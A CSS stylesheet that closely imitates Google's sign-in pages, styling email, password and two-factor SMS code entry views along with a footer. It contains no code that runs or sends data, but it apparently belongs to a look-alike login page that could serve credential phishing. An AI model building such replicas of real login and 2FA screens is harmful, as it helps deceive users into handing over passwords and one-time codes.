* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Google Sans', roboto, 'Noto Sans Myanmar UI', arial, sans-serif;
    background-color: #f0f4f9;
    color: #202124;
    font-size: 14px;
    line-height: 20px;
}

.main-container {
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    padding: 0;
}

.signin-card {
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 48px 80px 36px;  /* Aumenté el padding lateral de 40px a 80px */
    width: 90%;  /* Ahora ocupa el 90% del ancho disponible */
    max-width: 1000px;  /* Pero no más de 800px */
    background-color: #fff;
    border-radius: 8px;
    box-shadow: 0 1px 3px rgba(0,0,0,0.12), 0 1px 2px rgba(0,0,0,0.24);
    margin: auto;
}

.google-logo {
    display: flex;
    justify-content: center;
    margin-bottom: 8px;
}

.signin-heading {
    font-family: 'Google Sans', roboto, 'Noto Sans Myanmar UI', arial, sans-serif;
    font-size: 36px;
    font-weight: 400;
    line-height: 1.3333;
    color: #202124;
    text-align: center;
    margin: 16px 0 0 0;
}

.signin-subheading {
    font-size: 16px;
    font-weight: 400;
    line-height: 1.5;
    color: #202124;
    text-align: center;
    margin: 8px 0 0 0;
}

.view-container {
    width: 380px;
    margin-top: 32px;
}

.input-container {
    position: relative;
    margin-bottom: 4px;
}

.form-input {
    width: 100%;
    height: 56px;
    padding: 13px 15px;
    font-size: 16px;
    line-height: 24px;
    color: #202124;
    background-color: #fff;
    border: 1px solid #dadce0;
    border-radius: 8px;
    outline: none;
    transition: border-color 150ms cubic-bezier(0.4,0,0.2,1);
}

.form-input:focus {
    border-color: #1a73e8;
    border-width: 2px;
    padding: 12px 14px;
    box-shadow: 0 1px 3px rgba(0,0,0,0.12);
}

.form-label {
    position: absolute;
    left: 16px;
    top: 50%;
    transform: translateY(-50%);
    font-size: 16px;
    color: #5f6368;
    background-color: #fff;
    padding: 0 4px;
    pointer-events: none;
    transition: all 150ms cubic-bezier(0.4,0,0.2,1);
}

.form-input:focus ~ .form-label,
.form-input:valid ~ .form-label {
    top: -1px;
    transform: translateY(-50%) scale(0.75);
    transform-origin: left;
    color: #1a73e8;
}

.form-input:not(:focus):valid ~ .form-label {
    color: #5f6368;
}

.text-link {
    background: none;
    border: none;
    color: #1a73e8;
    font-size: 14px;
    font-weight: 500;
    letter-spacing: 0.25px;
    padding: 0;
    cursor: pointer;
    text-align: left;
    display: inline-block;
    text-decoration: none;
}

.text-link:hover {
    color: #174ea6;
}

.forgot-email {
    margin: 8px 0 0 0;
}

.guest-info {
    margin: 32px 0 0 0;
    font-size: 14px;
    line-height: 1.4286;
    color: #5f6368;
}

.learn-more-link {
    color: #1a73e8;
    text-decoration: none;
    font-weight: 500;
}

.learn-more-link:hover {
    color: #174ea6;
}

.action-buttons {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-top: 26px;
    flex-wrap: wrap-reverse;
}

.text-button {
    background: none;
    border: none;
    color: #1a73e8;
    font-size: 14px;
    font-weight: 400;
    letter-spacing: 0.25px;
    padding: 8px;
    margin: -8px;
    border-radius: 4px;
    cursor: pointer;
    transition: background-color 0.2s;
}

.text-button:hover {
    background-color: rgba(26, 115, 232, 0.04);
}

.next-button {
    background-color: #1a73e8;
    color: #fff;
    border: none;
    padding: 0 24px;
    height: 40px;
    font-size: 14px;
    font-weight: 500;
    letter-spacing: 0.0107142857em;
    line-height: 40px;
    border-radius: 20px;
    cursor: pointer;
    transition: background-color 0.2s, box-shadow 0.2s;
    min-width: 88px;
}

.next-button:hover {
    background-color: #2b7de9;
    box-shadow: 0 1px 2px 0 rgba(66, 133, 244, 0.3), 0 1px 3px 1px rgba(66, 133, 244, 0.15);
}

.next-button:active {
    background-color: #5094ed;
}

/* Password view styles */
.account-email {
    font-size: 14px;
    color: #5f6368;
    text-align: center;
    margin-bottom: 32px;
}

.welcome-text {
    font-family: 'Google Sans', roboto, 'Noto Sans Myanmar UI', arial, sans-serif;
    font-size: 24px;
    font-weight: 400;
    line-height: 1.3333;
    color: #202124;
    text-align: center;
    margin: 0 0 8px 0;
}

.password-options {
    margin: 16px 0 0 0;
}

.show-password-label {
    display: flex;
    align-items: center;
    cursor: pointer;
    font-size: 14px;
    color: #3c4043;
}

.show-password-label input[type="checkbox"] {
    width: 18px;
    height: 18px;
    margin: 0 8px 0 0;
    cursor: pointer;
}

/* Footer styles */
.page-footer {
    position: fixed;
    bottom: 0;
    left: 0;
    right: 0;
    padding: 24px;
    display: flex;
    justify-content: space-between;
    align-items: center;
    font-size: 12px;
    background-color: #f0f4f9;
}

.language-dropdown {
    background: transparent;
    border: none;
    color: #757575;
    font-size: 12px;
    font-family: inherit;
    padding: 6px 20px 6px 0;
    cursor: pointer;
    outline: none;
    background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='20' height='20' viewBox='0 0 20 20'%3E%3Cpath fill='%23757575' d='M7 10l5 5 5-5z'/%3E%3C/svg%3E");
    background-repeat: no-repeat;
    background-position: right center;
    appearance: none;
    -webkit-appearance: none;
    -moz-appearance: none;
}

.footer-links {
    display: flex;
    gap: 32px;
}

.footer-links a {
    color: #757575;
    text-decoration: none;
    font-size: 12px;
}

.footer-links a:hover {
    color: #5f6368;
}

/* 2FA View Styles */
.verify-heading {
    font-family: 'Google Sans', roboto, 'Noto Sans Myanmar UI', arial, sans-serif;
    font-size: 24px;
    font-weight: 400;
    line-height: 1.3333;
    color: #202124;
    text-align: center;
    margin: 0 0 8px 0;
}

.verify-subheading {
    font-size: 16px;
    line-height: 1.5;
    color: #5f6368;
    text-align: center;
    margin: 0 0 32px 0;
}

.device-info {
    display: flex;
    align-items: center;
    gap: 16px;
    padding: 16px;
    border: 1px solid #dadce0;
    border-radius: 8px;
    margin-bottom: 24px;
    cursor: pointer;
    transition: background-color 0.2s;
}

.device-info:hover {
    background-color: #f8f9fa;
}

.device-icon {
    flex-shrink: 0;
}

.device-text {
    flex: 1;
}

.device-method {
    font-size: 16px;
    color: #202124;
    margin-bottom: 4px;
}

.device-number {
    font-size: 14px;
    color: #5f6368;
}

.sms-sent-message {
    display: flex;
    align-items: center;
    gap: 12px;
    padding: 16px;
    background-color: #e8f5e9;
    border-radius: 8px;
    margin-bottom: 24px;
}

.sms-icon {
    color: #1e8e3e;
    font-size: 18px;
}

.sms-text {
    color: #1e8e3e;
    font-size: 14px;
}

#code-input {
    text-align: center;
    letter-spacing: 8px;
    font-size: 20px;
    font-weight: 500;
}

/* Spinner */
.spinner {
    display: inline-block;
    width: 16px;
    height: 16px;
    border: 2px solid #ffffff;
    border-radius: 50%;
    border-top-color: transparent;
    animation: spin 0.8s linear infinite;
}

@keyframes spin {
    to {
        transform: rotate(360deg);
    }
}

.next-button:disabled {
    opacity: 0.8;
    cursor: not-allowed;
}

/* Responsive design */
@media (max-width: 450px) {
    .signin-card {
        padding: 24px;
    }
    
    .page-footer {
        flex-direction: column;
        gap: 12px;
    }
    
    .language-select {
        width: 100%;
        text-align: center;
    }
    
    .footer-links {
        gap: 24px;
    }
}